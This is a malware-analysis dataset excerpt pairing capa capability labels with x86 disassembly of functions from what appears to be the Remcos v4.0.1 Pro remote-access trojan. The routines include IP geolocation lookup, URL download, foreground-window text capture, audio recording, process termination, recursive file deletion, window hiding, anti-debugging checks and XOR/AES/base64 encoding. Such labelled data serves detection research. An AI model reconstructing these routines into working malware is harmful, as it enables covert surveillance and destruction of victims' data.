joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41912d
Capabilities:
Check if file exists

Disassembly:
sub esp, 0x7c
push ebx
push ebp
push esi
push edi
push ecx
mov edi, ecx
mov esi, edx
push ecx
lea ecx, [esp + 0x98]
call fcn.00419382
cmp eax, 0xffffffff
jne 0x41917a
lea ecx, [esp + 0x90]
call fcn.00401ee4
push eax
mov dl, 0x30
lea ecx, [esp + 0x14]
call fcn.0040c63a
pop ecx
push eax
lea ecx, [esp + 0x94]
call fcn.00401ef3
lea ecx, [esp + 0x10]
call fcn.00401ee9
mov ecx, esi
call fcn.0040245c
lea ecx, [esp + 0x90]
test eax, eax
je 0x41926e
call fcn.00401ee4
mov edx, eax
mov ecx, esi
call fcn.0041a3d6
push str._alias_audio
mov edx, edi
lea ecx, [esp + 0x74]
call fcn.00419d24
push eax
lea eax, [esp + 0x98]
mov edx, str.open__
push str.__type
push eax
lea ecx, [esp + 0x68]
call fcn.0040a8cc
pop ecx
mov edx, eax
lea ecx, [esp + 0x4c]
call fcn.00402ff4
pop ecx
mov edx, eax
lea ecx, [esp + 0x18]
call fcn.00402f85
pop ecx
mov edx, eax
lea ecx, [esp + 0x2c]
call fcn.00402ff4
pop ecx
lea ecx, [esp + 0x10]
call fcn.00401ee9
lea ecx, [esp + 0x40]
call fcn.00401ee9
lea ecx, [esp + 0x58]
call fcn.00401ee9
lea ecx, [esp + 0x70]
call fcn.00401ee9
xor ebx, ebx
lea ecx, [esp + 0x28]
push ebx
push ebx
push ebx
call fcn.00401ee4
push eax
call dword [sym.imp.WINMM.dll_mciSendStringW]
mov esi, dword [sym.imp.WINMM.dll_mciSendStringA]
push ebx
push ebx
push ebx
push str.play_audio
call esi
sub esp, 0x18
mov edi, 0x463064
mov ecx, esp
push edi
call fcn.00402073
mov ebp, 0x472890
push 0xa9
mov ecx, ebp
call fcn.00404a81
push ebx
push ebx
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [0x471a90], eax
jmp 0x419332
call fcn.00401ee4
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x41919e
sub esp, 0x18
mov ecx, esp
push 0x463064
call fcn.00402073
push 0xa8
mov ecx, 0x472890
call fcn.00404a81
jmp 0x41936e
cmp byte [0x471a8d], bl
je 0x4192bd
push ebx
push ebx
push ebx
push str.pause_audio
call esi
mov byte [0x471a8d], bl
cmp byte [0x471a8c], bl
je 0x4192d5
push ebx
push ebx
push ebx
push str.resume_audio
call esi
mov byte [0x471a8c], bl
push ebx
push 0x14
lea eax, [esp + 0x18]
push eax
push str.status_audio_mode
call esi
lea eax, [esp + 0x10]
push str.stopped
push eax
call fcn.0043a4b0
pop ecx
pop ecx
test eax, eax
jne 0x419305
push dword [0x471a90]
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0x1f4
push dword [0x471a90]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x41932d
push dword [0x471a90]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
jmp 0x419264
mov eax, dword [0x471a90]
test eax, eax
jne 0x4192a5
push ebx
push ebx
push ebx
push str.stop_audio
call esi
push ebx
push ebx
push ebx
push str.close_audio
call esi
sub esp, 0x18
mov ecx, esp
push edi
call fcn.00402073
push 0xaa
mov ecx, ebp
call fcn.00404a81
lea ecx, [esp + 0x28]
call fcn.00401ee9
lea ecx, [esp + 0x90]
call fcn.00401ee9
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x7c
ret
Function at 0x41949b
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
sub esp, 0x24
push ebx
push ebp
push esi
push edi
mov ebx, ecx
call fcn.004020bf
xor esi, esi
push 0xffff
mov dword [esp + 0x14], esi
call fcn.00439c66
pop ecx
push esi
push esi
push esi
push 1
push esi
mov edi, eax
call dword [sym.imp.WININET.dll_InternetOpenW]
push esi
push connect
push esi
push esi
mov ebp, eax
push str.http:__geoplugin.net_json.gp
push ebp
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov esi, eax
and dword [esp + 0x10], 0
lea eax, [esp + 0x10]
push eax
push 0xffff
push edi
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
mov ecx, dword [esp + 0x10]
mov dword [esp + 0x14], eax
test ecx, ecx
je 0x419527
push ecx
push edi
lea ecx, [esp + 0x20]
call fcn.00402097
push eax
mov ecx, ebx
call fcn.00403356
lea ecx, [esp + 0x18]
call fcn.00401fb8
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
cmp eax, 1
jne 0x419530
test ecx, ecx
jne 0x4194e0
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push ebp
call esi
push edi
call fcn.00439c61
pop ecx
pop edi
pop esi
pop ebp
mov eax, ebx
pop ebx
add esp, 0x24
ret

Function at 0x419b30
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
push ebx
push esi
push edi
xor edi, edi
mov ebx, edx
test ecx, ecx
je 0x419bc7
push edi
push edi
lea eax, [ebp - 8]
push eax
push ecx
push edi
call dword [sym.imp.urlmon.dll_URLOpenBlockingStreamW]
test eax, eax
js 0x419bc7
mov eax, dword [ebp - 8]
lea edx, [ebp - 0x5c]
push 1
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x30]
test eax, eax
js 0x419bbe
mov esi, dword [ebp - 0x54]
inc esi
push esi
mov dword [ebp - 0x54], esi
call fcn.00439c66
mov dword [ebx], eax
pop ecx
test eax, eax
je 0x419bbe
push 8
lea eax, [ebp - 0x14]
push edi
push eax
call fcn.00434dc0
push esi
push edi
push dword [ebx]
call fcn.00434dc0
add esp, 0x18
lea eax, [esi - 1]
mov esi, dword [ebp + 8]
push edi
push edi
push dword [ebp - 0x10]
mov dword [esi], eax
mov eax, dword [ebp - 8]
push dword [ebp - 0x14]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x14]
mov eax, dword [ebp - 8]
push edi
push dword [esi]
push dword [ebx]
mov ecx, dword [eax]
push eax
call dword [ecx + 0xc]
inc edi
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x419bd0
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x200
lea eax, [ebp - 0x200]
push esi
push 0x200
push 0
push eax
mov esi, ecx
call fcn.00434dc0
add esp, 0xc
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push 0x100
lea ecx, [ebp - 0x200]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
lea eax, [ebp - 0x200]
mov ecx, esi
push eax
call fcn.0040415e
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x419c43
Capabilities:
Terminate process

Disassembly:
push ebx
push esi
push ecx
xor ebx, ebx
push ebx
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x419c6b
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
push esi
setne bl
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov al, bl
pop ebx
ret

Function at 0x41a175
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x664
lea eax, [ebp - 0x410]
push ebx
push esi
push edi
mov edi, ecx
push edi
push eax
call fcn.0043a946
lea eax, [ebp - 0x410]
push 0x46959c
push eax
call fcn.0043f5df
lea eax, [ebp - 0x208]
push edi
push eax
call fcn.0043a946
lea eax, [ebp - 0x208]
push 0x4632c0
push eax
call fcn.0043f5df
add esp, 0x20
lea eax, [ebp - 0x660]
push eax
lea eax, [ebp - 0x410]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x41a2cc
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x410]
push eax
call fcn.0043a946
pop ecx
pop ecx
mov bl, 1
lea eax, [ebp - 0x660]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
je 0x41a2a0
lea ecx, [ebp - 0x634]
call fcn.0041a147
test eax, eax
jne 0x41a2ad
lea eax, [ebp - 0x634]
push eax
lea eax, [ebp - 0x208]
push eax
call fcn.0043f5df
test byte [ebp - 0x660], 0x10
pop ecx
pop ecx
je 0x41a25d
lea ecx, [ebp - 0x208]
call fcn.0041a175
test eax, eax
je 0x41a2c5
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
jmp 0x41a289
test byte [ebp - 0x660], 1
je 0x41a278
push 0x80
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x41a2c5
lea eax, [ebp - 0x410]
push eax
lea eax, [ebp - 0x208]
push eax
call fcn.0043a946
pop ecx
pop ecx
jmp 0x41a2ad
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
jne 0x41a2c5
xor bl, bl
test bl, bl
jne 0x41a1f8
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
push edi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
jmp 0x41a2ce
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x41a2d5
Capabilities:
Write file on windows

Disassembly:
push ecx
mov eax, dword [esp + 0xc]
push ebx
push ebp
push esi
xor ebx, ebx
mov ebp, ecx
push edi
mov edi, edx
sub eax, ebx
je 0x41a2fe
sub eax, 1
jne 0x41a2f4
push 4
pop eax
mov ecx, eax
jmp 0x41a306
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x1c]
jmp 0x41a306
push 2
mov eax, 0x40000000
pop ecx
push ebx
push 0x80
push ecx
push ebx
push ebx
push eax
push dword [esp + 0x30]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x41a325
xor al, al
jmp 0x41a363
cmp dword [esp + 0x1c], 1
jne 0x41a345
push 2
push ebx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
jne 0x41a345
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x41a321
push ebx
lea eax, [esp + 0x14]
push eax
push edi
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x41a35a
mov bl, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret

Function at 0x41a369
Capabilities:
Get file size
Read file on windows

Disassembly:
push ecx
push ebx
push ebp
push edi
xor ebx, ebx
mov ebp, edx
push ebx
push 0x80
push 3
push ebx
push 3
push connect
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x41a393
xor al, al
jmp 0x41a3d1
push esi
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
mov ecx, ebp
push ebx
push esi
call fcn.0040242e
push ebx
lea eax, [esp + 0x14]
mov dword [esp + 0x14], ebx
push eax
push esi
mov ecx, ebp
call fcn.00401f8b
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
pop esi
test eax, eax
je 0x41a3c8
mov bl, 1
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
pop edi
pop ebp
pop ebx
pop ecx
ret

Function at 0x41a3f9
Capabilities:
Get file size

Disassembly:
push esi
push edi
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push connect
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x41a41f
xor eax, eax
jmp 0x41a432
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop edi
pop esi
ret
Function at 0x41a435
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x3c
push ebx
push esi
push edi
mov dword [esp + 0x10], ecx
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov edi, eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
mov esi, eax
xor ebx, ebx
test esi, esi
je 0x41a532
push ebx
inc esi
lea ecx, [esp + 0x34]
push esi
call fcn.0040a854
push esi
lea ecx, [esp + 0x34]
call fcn.00401ee4
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextW]
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x34]
call fcn.004022e5
mov edi, eax
lea ecx, [esp + 0x30]
lea eax, [esp + 0x18]
push eax
call fcn.004022aa
mov esi, eax
lea ecx, [esp + 0x30]
lea eax, [esp + 0x1c]
push eax
call fcn.004022e5
push dword [edi]
lea ecx, [esp + 0x24]
push dword [esi]
push dword [eax]
call fcn.00408d16
sub esp, 0xc
mov ecx, esp
push 0x4697f0
call fcn.0040415e
sub esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
push eax
call fcn.00408098
lea ecx, [esp + 0x54]
call fcn.00419faf
add esp, 0x30
lea ecx, [esp + 0x24]
mov edi, ebx
call fcn.004021da
test eax, eax
je 0x41a520
mov esi, ebx
push ebx
push esi
lea ecx, [esp + 0x2c]
call fcn.00401e45
push eax
lea ecx, [esp + 0x38]
call fcn.00408b99
cmp eax, 0xffffffff
jne 0x41a543
inc edi
lea ecx, [esp + 0x24]
movzx esi, di
call fcn.004021da
cmp esi, eax
jb 0x41a4f5
lea ecx, [esp + 0x24]
call fcn.00411431
lea ecx, [esp + 0x30]
call fcn.00401ee9
lea ecx, [ebp + 8]
call fcn.00401ee9
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [esp + 0x10]
test esi, esi
je 0x41a55d
lea ecx, [esp + 0x30]
call fcn.00401ee4
push eax
push esi
call fcn.0043a946
pop ecx
pop ecx
lea ecx, [esp + 0x24]
call fcn.00411431
lea ecx, [esp + 0x30]
call fcn.00401ee9
mov bl, 1
jmp 0x41a532
Function at 0x41a8c6
Capabilities:
Change the wallpaper

Disassembly:
push ebx
push esi
push edi
mov edi, edx
sub ecx, 0
je 0x41a972
sub ecx, 1
je 0x41a964
sub ecx, 1
je 0x41a956
sub ecx, 1
je 0x41a923
sub ecx, 1
jne 0x41a9b4
push 1
sub esp, 0x18
mov ecx, esp
push 0x4630d4
call fcn.00402073
mov esi, str.Control_PanelDesktop
push str.WallpaperStyle
mov edx, esi
call fcn.004122ae
add esp, 0x20
push 1
sub esp, 0x18
mov ecx, esp
push 0x4630d0
jmp 0x41a9a0
push 1
sub esp, 0x18
mov ecx, esp
push 0x469318
call fcn.00402073
mov esi, str.Control_PanelDesktop
push str.WallpaperStyle
mov edx, esi
call fcn.004122ae
add esp, 0x20
push 1
sub esp, 0x18
mov ecx, esp
push 0x4630d4
jmp 0x41a9a0
push 1
sub esp, 0x18
mov ecx, esp
push 0x46970c
jmp 0x41a92f
push 1
sub esp, 0x18
mov ecx, esp
push 0x4630bc
jmp 0x41a92f
push 1
sub esp, 0x18
mov ebx, 0x4630d4
mov ecx, esp
push ebx
call fcn.00402073
mov esi, str.Control_PanelDesktop
push str.WallpaperStyle
mov edx, esi
call fcn.004122ae
add esp, 0x20
push 1
sub esp, 0x18
mov ecx, esp
push ebx
call fcn.00402073
push str.TileWallpaper
mov edx, esi
call fcn.004122ae
add esp, 0x20
push 3
push edi
push 0
push 0x14
call dword [sym.imp.USER32.dll_SystemParametersInfoW]
pop edi
pop esi
pop ebx
ret

Function at 0x41abec
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
push ebx
mov bl, cl
call dword [sym.imp.KERNEL32.dll_AllocConsole]
call dword [0x471ac8]
test bl, bl
mov dword [0x471acc], eax
pop ebx
jne 0x41ac14
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 1
call fcn.0043ab6e
push eax
push 0x469a90
push str.CONOUT_
call fcn.0043f2bb
add esp, 0x10
push 0x4e4
call dword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
call fcn.0041aba9
push 0x64
lea eax, [ebp - 0x64]
push 0
push eax
call fcn.00434dc0
lea eax, [ebp - 0x64]
push str._n_tRemcos_v
push eax
call fcn.0043f620
lea eax, [ebp - 0x64]
push str.4.0.1_Pro
push eax
call fcn.0043f620
lea eax, [ebp - 0x64]
push 0x469b98
push eax
call fcn.0043f620
lea eax, [ebp - 0x64]
push eax
call fcn.004193bb
add esp, 0x28
mov esp, ebp
pop ebp
ret
Function at 0x41ff62
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [ecx + 4]
xor eax, eax
xor edx, edx
movzx ecx, word [esi]
cmp ax, cx
jae 0x41ff8d
movzx eax, dx
mov al, byte [eax + esi + 4]
cmp al, 0x13
je 0x41ff8d
cmp al, 0xc0
je 0x41ff8d
cmp al, 0xcc
je 0x41ff8d
add edx, 2
cmp dx, cx
jb 0x41ff72
pop esi
ret

Function at 0x422a3c
Capabilities:
Encode data using xor

Disassembly:
push esi
push edi
mov edi, edx
mov edx, dword [esp + 0x10]
lea esi, [edi + 4]
push esi
call fcn.004229d9
mov edx, dword [esp + 0x10]
pop ecx
push 4
sub edx, edi
pop ecx
mov al, byte [edx + edi]
mov byte [edi], al
inc edi
sub ecx, 1
jne 0x422a57
push 8
pop ecx
mov al, byte [esi + edx]
xor byte [esi], al
inc esi
sub ecx, 1
jne 0x422a65
pop edi
pop esi
ret

Function at 0x424cc0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, dword [esp + 8]
test esi, esi
je 0x424cd8
sub edx, ecx
mov eax, dword [edx + ecx]
xor dword [ecx], eax
lea ecx, [ecx + 4]
sub esi, 1
jne 0x424ccb
pop esi
ret

Function at 0x424cda
Capabilities:
Encode data using xor

Disassembly:
mov eax, ecx
or eax, edx
push esi
mov esi, dword [esp + 8]
or eax, esi
test al, 3
jne 0x424cf5
shr esi, 2
push esi
call fcn.00424cc0
pop ecx
pop esi
ret
test esi, esi
je 0x424d06
sub edx, ecx
mov al, byte [edx + ecx]
xor byte [ecx], al
inc ecx
sub esi, 1
jne 0x424cfb
pop esi
ret

Function at 0x424d08
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov edi, dword [esp + 0x10]
xor eax, eax
mov esi, edx
mov ebx, ecx
test edi, edi
jle 0x424d2c
sub ebx, esi
movzx edx, byte [ebx + esi]
movzx ecx, byte [esi]
xor edx, ecx
or eax, edx
inc esi
sub edi, 1
jne 0x424d1b
pop edi
pop esi
pop ebx
ret

Function at 0x424d30
Capabilities:
Encrypt data using aes

Disassembly:
xor eax, eax
mov ecx, 0x465450
push 0x20
pop edx
and eax, dword [ecx]
add ecx, 0x20
sub edx, 1
jne 0x424d3a
cmp ecx, str.SHA256wECDSA
jl 0x424d37
ret
Function at 0x429797
Capabilities:
Encode data using base64

Disassembly:
sub esp, 0xc
push ebx
push ebp
mov ebp, dword [esp + 0x1c]
lea eax, [edx + 0x3f]
push esi
shr eax, 6
mov esi, edx
sub esi, eax
mov dword [esp + 0x10], edx
push edi
xor edi, edi
mov ebx, ecx
and dword [esp + 0x18], edi
inc esi
imul eax, esi, 3
shr eax, 2
cmp eax, dword [ebp]
jbe 0x4297ce
mov eax, 0xffffff53
jmp 0x4299a1
mov esi, dword [esp + 0x20]
cmp edx, 3
jbe 0x42998f
lea eax, [esp + 0x18]
mov ecx, ebx
push eax
lea edx, [esp + 0x18]
call fcn.00429739
add esp, 4
test eax, eax
jne 0x429988
mov eax, dword [esp + 0x18]
mov cl, byte [eax + ebx]
inc eax
mov byte [esp + 0x13], cl
mov dword [esp + 0x18], eax
test cl, cl
je 0x42998f
dec dword [esp + 0x14]
lea eax, [esp + 0x18]
push eax
mov ecx, ebx
call fcn.00429739
add esp, 4
test eax, eax
jne 0x4299a1
mov eax, dword [esp + 0x18]
mov cl, byte [eax + ebx]
inc eax
dec dword [esp + 0x14]
mov dword [esp + 0x18], eax
lea eax, [esp + 0x18]
mov byte [esp + 0x12], cl
mov ecx, ebx
push eax
call fcn.00429739
add esp, 4
test eax, eax
jne 0x4299a1
mov eax, dword [esp + 0x18]
mov cl, byte [eax + ebx]
inc eax
dec dword [esp + 0x14]
mov dword [esp + 0x18], eax
lea eax, [esp + 0x18]
mov byte [esp + 0x24], cl
mov ecx, ebx
push eax
call fcn.00429739
add esp, 4
test eax, eax
jne 0x4299a1
mov eax, dword [esp + 0x18]
mov dl, byte [esp + 0x13]
mov dh, byte [eax + ebx]
inc eax
dec dword [esp + 0x14]
mov dword [esp + 0x18], eax
cmp dl, 0x2b
jb 0x429981
mov cl, byte [esp + 0x12]
cmp cl, 0x2b
jb 0x429981
mov al, byte [esp + 0x24]
cmp al, 0x2b
jb 0x429981
cmp dh, 0x2b
jb 0x429981
cmp dl, 0x7a
ja 0x429981
cmp cl, 0x7a
ja 0x429981
cmp al, 0x7a
ja 0x429981
cmp dh, 0x7a
ja 0x429981
xor ecx, ecx
cmp al, 0x3d
setne cl
xor eax, eax
inc ecx
cmp dh, 0x3d
setne al
add ecx, edi
add eax, ecx
cmp eax, dword [ebp]
ja 0x4297c4
mov cl, byte [esp + 0x12]
movzx eax, dl
mov al, byte [eax + 0x466595]
mov byte [esp + 0x13], al
movzx eax, cl
mov ch, byte [eax + 0x466595]
mov al, byte [esp + 0x24]
cmp al, 0x3d
jne 0x429924
xor cl, cl
jmp 0x42992d
movzx eax, al
mov cl, byte [eax + 0x466595]
cmp dh, 0x3d
jne 0x429936
xor al, al
jmp 0x42993f
movzx eax, dh
mov al, byte [eax + 0x466595]
mov ah, byte [esp + 0x13]
mov dl, cl
shl dl, 6
or dl, al
shl ah, 2
mov al, ch
shr al, 4
or al, ah
mov byte [edi + esi], al
inc edi
cmp byte [esp + 0x24], 0x3d
je 0x42996b
shr cl, 2
shl ch, 4
or cl, ch
mov byte [edi + esi], cl
inc edi
cmp dh, 0x3d
je 0x42998f
mov byte [edi + esi], dl
inc edi
cmp dword [esp + 0x14], 3
ja 0x4297db
jmp 0x42998f
mov eax, 0xffffff66
jmp 0x4299a1
cmp eax, 0xffffff7c
jne 0x4299a1
test esi, esi
je 0x42999c
cmp dword [ebp], edi
jbe 0x42999c
mov byte [edi + esi], 0
mov dword [ebp], edi
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
Function at 0x42d09d
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, ecx
test edi, edi
je 0x42d197
cmp dword [esp + 0x14], 0
mov esi, dword [esp + 0x18]
jne 0x42d0be
test esi, esi
jne 0x42d197
cmp edx, 3
je 0x42d0f4
cmp edx, 4
je 0x42d0f4
cmp edx, 5
je 0x42d0f4
cmp edx, 6
je 0x42d0f4
cmp edx, 7
je 0x42d0f4
cmp edx, 8
je 0x42d0f4
cmp edx, 0xa
je 0x42d0f4
cmp edx, 0xb
je 0x42d0f4
cmp edx, 0xc
je 0x42d0f4
cmp edx, 0xd
jne 0x42d197
xor ebx, ebx
mov byte [edi + 0x114], dl
push ecx
mov byte [edi + 0x115], bl
call fcn.0042d080
mov ebp, eax
pop ecx
test ebp, ebp
jne 0x42d19c
cmp byte [edi + 0x114], 6
lea ecx, [edi + 0x70]
jne 0x42d197
cmp esi, 0x40
ja 0x42d13a
cmp dword [esp + 0x14], ebx
je 0x42d163
push esi
push dword [esp + 0x18]
push ecx
call fcn.00434840
add esp, 0xc
jmp 0x42d160
mov edx, dword [esp + 0x14]
mov ecx, edi
push esi
call fcn.00431f7f
mov ebp, eax
pop ecx
test ebp, ebp
jne 0x42d193
lea edx, [edi + 0x70]
mov ecx, edi
call fcn.0043205a
mov ebp, eax
test ebp, ebp
jne 0x42d193
push 0x20
pop esi
lea ecx, [edi + 0x70]
cmp esi, 0x40
jae 0x42d17b
push 0x40
pop eax
sub eax, esi
push eax
lea eax, [ecx + esi]
push ebx
push eax
call fcn.00434dc0
add esp, 0xc
mov al, byte [ebx + edi + 0x70]
xor al, 0x5c
mov byte [edi + ebx + 0xb0], al
xor byte [ebx + edi + 0x70], 0x36
inc ebx
cmp ebx, 0x40
jb 0x42d17b
mov eax, ebp
jmp 0x42d19c
mov eax, 0xffffff53
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x43101b
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0xd4
push ebx
push ebp
push esi
xor ebx, ebx
xor esi, esi
push edi
inc ebx
inc esi
cmp dword [esp + 0xe8], 0
mov edi, ecx
push 0
cmovne ebx, dword [esp + 0xec]
mov ebp, edx
pop ecx
test bl, 0x1f
mov eax, ebx
push 0x37
push dword [esp + 0xf0]
setne cl
shr eax, 5
add eax, ecx
mov dword [esp + 0x18], eax
lea eax, [esp + 0x44]
push eax
call fcn.00434840
and dword [esp + 0x20], 0
add esp, 0xc
cmp dword [esp + 0x10], 0
jbe 0x431159
lea ecx, [esp + 0x74]
call fcn.00432099
mov esi, eax
test esi, esi
jne 0x431159
push 0x37
lea edx, [esp + 0x40]
lea ecx, [esp + 0x78]
call fcn.00431f7f
mov esi, eax
pop ecx
test esi, esi
jne 0x431159
lea edx, [esp + 0x1c]
lea ecx, [esp + 0x74]
call fcn.0043205a
mov esi, eax
test esi, esi
jne 0x431159
push 4
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x20]
push eax
call fcn.00434840
mov eax, dword [esp + 0x24]
add esp, 0xc
cmp dword [edi], 1
jbe 0x431104
cmp eax, dword [edi + 4]
jne 0x431104
cmp byte [edi + 0x76], 1
je 0x431177
mov edx, dword [esp + 0x10]
mov byte [edi + 0x76], 1
lea eax, [edx - 1]
cmp dword [esp + 0x14], eax
lea ecx, [edx + 1]
cmovne ecx, edx
mov dword [esp + 0x10], ecx
jmp 0x43110b
mov byte [edi + 0x76], 0
mov dword [edi + 4], eax
test ebp, ebp
je 0x431146
test ebx, ebx
je 0x431146
lea eax, [esp + 0x1c]
cmp ebx, 0x20
jb 0x431139
push 0x20
push eax
push ebp
call fcn.00434840
add esp, 0xc
lea ecx, [esp + 0x3c]
sub ebx, 0x20
add ebp, 0x20
call fcn.0043100c
jmp 0x431146
push ebx
push eax
push ebp
call fcn.00434840
add esp, 0xc
xor ebx, ebx
mov eax, dword [esp + 0x14]
inc eax
mov dword [esp + 0x14], eax
cmp eax, dword [esp + 0x10]
jl 0x431079
push 0x37
pop edx
lea ecx, [esp + 0x3c]
call fcn.0041b5cd
xor eax, eax
test esi, esi
setne al
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xd4
ret
push 3
pop eax
jmp 0x43116c

Function at 0x431873
Capabilities:
Hash data using sha256

Disassembly:
push esi
mov esi, ecx
test esi, esi
jne 0x43181f
mov eax, 0xffffff53
pop esi
ret
push edi
push 0x20
xor edi, edi
push edi
push esi
call fcn.00434dc0
add esp, 0xc
mov dword [esi + 0x60], edi
mov dword [esi + 0x64], edi
xor eax, eax
mov dword [esi + 0x68], edi
mov dword [esi], 0x6a09e667
pop edi
mov dword [esi + 4], 0xbb67ae85
mov dword [esi + 8], 0x3c6ef372
mov dword [esi + 0xc], 0xa54ff53a
mov dword [esi + 0x10], 0x510e527f
mov dword [esi + 0x14], 0x9b05688c
mov dword [esi + 0x18], 0x1f83d9ab
mov dword [esi + 0x1c], 0x5be0cd19
pop esi
ret
test ecx, ecx
jne 0x43187d
mov eax, 0xffffff53
ret
mov dword [ecx + 0x6c], edx
jmp 0x431811